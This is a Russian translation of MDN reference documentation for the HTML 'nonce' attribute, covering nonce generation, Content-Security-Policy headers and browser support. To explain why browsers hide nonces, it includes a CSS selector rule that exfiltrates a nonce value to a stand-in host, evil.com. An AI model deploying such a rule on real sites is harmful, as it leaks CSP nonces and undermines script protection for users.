Spec-Zone.ru › HTML

nonce глобальный атрибут HTML

Базовый уровень Широко доступно

Эта функция хорошо зарекомендовала себя и работает на многих устройствах и в различных версиях браузеров. Она доступна во всех браузерах с мая 2022 года.

  • Подробнее
  • Полная информация о совместимости
  • Оставить отзыв
>

nonce — это глобальный атрибут, являющийся атрибутом содержимого и определяющий криптографический nonce («число, используемое один раз»), который политика безопасности содержимого может использовать, чтобы определить, разрешить ли выполнение заданного запроса для конкретного элемента.

Описание

Атрибут nonce полезен для добавления в список разрешенных отдельных элементов, например определенного встроенного скрипта или элемента style. Он может помочь избежать использования директивы unsafe-inline из CSP, которая добавит в список разрешенных все встроенные скрипты или стили.

Примечание: Используйте nonce только в тех случаях, когда невозможно обойтись без небезопасного встроенного содержимого скрипта или стиля. Если вам не нужен nonce, не используйте его. Если ваш скрипт статичен, вместо этого можно использовать хеш CSP. (См. примечания по использованию небезопасных встроенных скриптов.) Всегда старайтесь в полной мере использовать защиту CSP и по возможности избегайте nonce и небезопасных встроенных скриптов.

Добавление элемента <script> в список разрешенных с помощью nonce

Чтобы добавить встроенный скрипт в список разрешенных с помощью механизма nonce, выполните несколько действий:

Генерация значений

На веб-сервере сгенерируйте случайную строку в кодировке base64, содержащую не менее 128 бит данных, с помощью криптографически стойкого генератора случайных чисел. Значения nonce должны генерироваться заново при каждой загрузке страницы (nonce используется только один раз!). Например, в Node.js:

import crypto from "node:crypto";

crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='

Добавление встроенного скрипта в список разрешенных

Теперь nonce, сгенерированный в коде бэкенда, следует использовать для встроенного скрипта, который вы хотите добавить в список разрешенных:

<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
  // …
</script>

Отправка nonce в заголовке CSP

Наконец, необходимо отправить значение nonce в заголовке Content-Security-Policy (добавьте в начало nonce-):

Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='

Доступ к nonce и сокрытие nonce

В целях безопасности атрибут содержимого nonce скрыт (возвращается пустая строка).

script.getAttribute("nonce"); // returns empty string

Свойство nonce — единственный способ получить доступ к nonce:

script.nonce; // returns nonce value

Сокрытие nonce помогает предотвратить кражу данных nonce злоумышленниками с помощью механизмов, которые могут получать данные из атрибутов содержимого, например:

script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

Спецификации

Спецификация
HTML>
# attr-nonce>

Совместимость с браузерами

Настольные компьютеры Мобильные устройства
Chrome Edge Firefox Opera Safari Chrome для Android Firefox для Android Opera для Android Safari для iOS Samsung Internet WebView для Android WebView для iOS
nonce 61 79 75
31–75Firefox не предотвращает утечку nonce через атрибуты содержимого.
48 15.5
15.4–15.5Safari не предотвращает утечку nonce через атрибуты содержимого.
61 79
31–79Firefox для Android не предотвращает утечку nonce через атрибуты содержимого.
45 15.5
15.4–15.5Safari для iOS не предотвращает утечку nonce через атрибуты содержимого.
8.0 61 15.5
15.4–15.5WebView для iOS не предотвращает утечку nonce через атрибуты содержимого.

См. также

  • HTMLElement.nonce
  • Политика безопасности содержимого
  • CSP: script-src

© 2005–2025 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Global_attributes/nonce

Spec-Zone.ru

Настройки Оффлайн Что нового Помощь О нас
Spec-Zone .ru
спецификации, руководства, описания, API